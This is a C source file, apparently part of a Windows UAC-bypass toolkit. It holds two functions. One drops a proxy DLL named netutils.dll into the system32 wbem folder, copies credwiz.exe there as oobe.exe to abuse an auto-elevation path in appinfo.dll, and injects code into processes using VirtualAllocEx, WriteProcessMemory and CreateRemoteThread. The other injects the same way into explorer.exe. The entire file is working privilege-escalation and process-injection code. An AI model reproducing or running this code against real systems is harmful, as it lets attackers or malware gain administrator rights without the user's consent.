/*
* ucmH1N1Method
*
* Purpose:
*
* Bypass UAC by abusing OOBE.exe backdoor hardcoded in appinfo.dll
*
*/
BOOL ucmH1N1Method(
PVOID ProxyDll,
DWORD ProxyDllSize
)
{
BOOL cond = FALSE, bResult = FALSE;
DWORD c;
HANDLE hProcess = NULL, hRemoteThread = NULL;
HINSTANCE selfmodule = GetModuleHandle(NULL);
PIMAGE_DOS_HEADER pdosh = (PIMAGE_DOS_HEADER)selfmodule;
PIMAGE_FILE_HEADER fh = (PIMAGE_FILE_HEADER)((char *)pdosh + pdosh->e_lfanew + sizeof(DWORD));
PIMAGE_OPTIONAL_HEADER opth = (PIMAGE_OPTIONAL_HEADER)((char *)fh + sizeof(IMAGE_FILE_HEADER));
LPVOID remotebuffer = NULL, newEp, newDp;
SIZE_T NumberOfBytesWritten = 0;
PELOAD_PARAMETERS_4 elvpar = &g_ElevParamsH1N1;
LPVOID elevproc = ucmElevatedLaunchProc;
WCHAR szBuffer[MAX_PATH * 2];
WCHAR szDest[MAX_PATH + 1];
WCHAR szSource[MAX_PATH + 1];
if (
(ProxyDll == NULL) ||
(ProxyDllSize == 0)
)
{
return bResult;
}
do {
//put Fubuki dll as netutils to %temp%
RtlSecureZeroMemory(szBuffer, sizeof(szBuffer));
_strcpy_w(szBuffer, TEMPDIR);
_strcat_w(szBuffer, L"netutils.dll");
RtlSecureZeroMemory(szSource, sizeof(szSource));
if (ExpandEnvironmentStrings(szBuffer, szSource, MAX_PATH) == 0) {
break;
}
if (!supWriteBufferToFile(szSource, ProxyDll, ProxyDllSize)) {
OutputDebugString(TEXT("[UCM] Failed to drop dll"));
break;
}
else {
OutputDebugStringW(TEXT("[UCM] Dll dropped successfully"));
}
//copy dll to wbem target folder
RtlSecureZeroMemory(szBuffer, sizeof(szBuffer));
if (ExpandEnvironmentStringsW(WBEMDIR,
szBuffer, MAX_PATH) == 0)
{
break;
}
//note: uacmAutoElevateCopyFile uses injection to explorer.exe
bResult = ucmAutoElevateCopyFile(szSource, szBuffer);
if (!bResult) {
break;
}
//copy 1st stage target process
RtlSecureZeroMemory(szSource, sizeof(szSource));
if (ExpandEnvironmentStrings(L"%systemroot%\\system32\\credwiz.exe",
szSource, MAX_PATH) == 0)
{
break;
}
RtlSecureZeroMemory(szDest, sizeof(szDest));
if (ExpandEnvironmentStrings(L"%temp%\\oobe.exe",
szDest, MAX_PATH) == 0)
{
break;
}
if (!CopyFile(szSource, szDest, FALSE)) {
break;
}
bResult = ucmAutoElevateCopyFile(szDest, szBuffer);
if (!bResult) {
break;
}
//setup basic shellcode routines
RtlSecureZeroMemory(&g_ElevParamsH1N1, sizeof(g_ElevParamsH1N1));
elvpar->xShellExecuteExW = (pfnShellExecuteExW)GetProcAddress(g_ldp.hShell32, "ShellExecuteExW");
elvpar->xWaitForSingleObject = (pfnWaitForSingleObject)GetProcAddress(g_ldp.hKernel32, "WaitForSingleObject");
elvpar->xCloseHandle = (pfnCloseHandle)GetProcAddress(g_ldp.hKernel32, "CloseHandle");
//set shellcode 2nd stage target process
RtlSecureZeroMemory(szBuffer, sizeof(szBuffer));
_strcpy_w(elvpar->szTargetApp, g_ldp.szSystemDirectory); //c:\windows\system32\wbem\oobe.exe
_strcat_w(elvpar->szTargetApp, L"\\wbem\\oobe.exe");
_strcpy_w(elvpar->szVerb, L"runas");
_strcpy_w(szBuffer, g_ldp.szSystemDirectory); //c:\windows\system32\credwiz.exe
_strcat_w(szBuffer, L"\\credwiz.exe");
//run 1st stage target process
hProcess = supRunProcessEx(szBuffer, NULL, NULL);
if (hProcess == NULL) {
OutputDebugString(TEXT("[UCM] Cannot open target process."));
break;
}
remotebuffer = VirtualAllocEx(hProcess, NULL, (SIZE_T)opth->SizeOfImage,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (remotebuffer == NULL) {
OutputDebugString(TEXT("[UCM] Cannot allocate memory in target process."));
break;
}
if (!WriteProcessMemory(hProcess, remotebuffer, selfmodule, opth->SizeOfImage, &NumberOfBytesWritten)) {
OutputDebugString(TEXT("[UCM] Cannot write to the target process memory."));
break;
}
newEp = (char *)remotebuffer + ((char *)elevproc - (char *)selfmodule);
newDp = (char *)remotebuffer + ((char *)elvpar - (char *)selfmodule);
hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, newEp, newDp, 0, &c);
bResult = (hRemoteThread != NULL);
if (bResult) {
WaitForSingleObject(hRemoteThread, INFINITE);
CloseHandle(hRemoteThread);
}
} while (cond);
if (hProcess != NULL) {
TerminateProcess(hProcess, 0);
CloseHandle(hProcess);
}
return bResult;
}
/*
* ucmInject
*
* Purpose:
*
* Inject data and run remote thread inside Explorer process.
*
*/
BOOL ucmInjectExplorer(
_In_ LPVOID ElevParams,
_In_ LPVOID ElevatedLoadProc
)
{
BOOL cond = FALSE, bResult = FALSE, bZombie = FALSE;
DWORD c;
HANDLE hProcess = NULL, hRemoteThread = NULL;
HINSTANCE selfmodule = GetModuleHandle(NULL);
PIMAGE_DOS_HEADER pdosh = (PIMAGE_DOS_HEADER)selfmodule;
PIMAGE_FILE_HEADER fh = (PIMAGE_FILE_HEADER)((char *)pdosh + pdosh->e_lfanew + sizeof(DWORD));
PIMAGE_OPTIONAL_HEADER opth = (PIMAGE_OPTIONAL_HEADER)((char *)fh + sizeof(IMAGE_FILE_HEADER));
LPVOID remotebuffer = NULL, newEp, newDp;
SIZE_T NumberOfBytesWritten = 0;
if (
(ElevParams == NULL) ||
(ElevatedLoadProc == NULL)
)
{
return bResult;
}
do {
//
// Open explorer handle with maximum allowed rights.
//
hProcess = supGetExplorerHandle();
if (hProcess == NULL) {
hProcess = supRunProcessEx(L"explorer.exe", NULL, NULL);
if (hProcess != NULL) {
bZombie = TRUE;
}
}
if (hProcess == NULL) {
OutputDebugString(TEXT("[UCM] Cannot open target process."));
break;
}
//
// Allocate buffer in target process and write itself inside.
//
remotebuffer = VirtualAllocEx(hProcess, NULL, (SIZE_T)opth->SizeOfImage,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (remotebuffer == NULL) {
OutputDebugString(TEXT("[UCM] Cannot allocate memory in target process."));
break;
}
if (!WriteProcessMemory(hProcess, remotebuffer, selfmodule, opth->SizeOfImage, &NumberOfBytesWritten)) {
OutputDebugString(TEXT("[UCM] Cannot write to the target process memory."));
break;
}
//
// Calculate new entry point offset and run remote thread with it.
//
newEp = (char *)remotebuffer + ((char *)ElevatedLoadProc - (char *)selfmodule);
newDp = (char *)remotebuffer + ((char *)ElevParams - (char *)selfmodule);
hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, newEp, newDp, 0, &c);
bResult = (hRemoteThread != NULL);
if (bResult) {
WaitForSingleObject(hRemoteThread, INFINITE);
CloseHandle(hRemoteThread);
}
} while (cond);
//
// Close target process handle.
//
if (hProcess != NULL) {
if (bZombie) {
TerminateProcess(hProcess, 0);
}
CloseHandle(hProcess);
}
return bResult;
}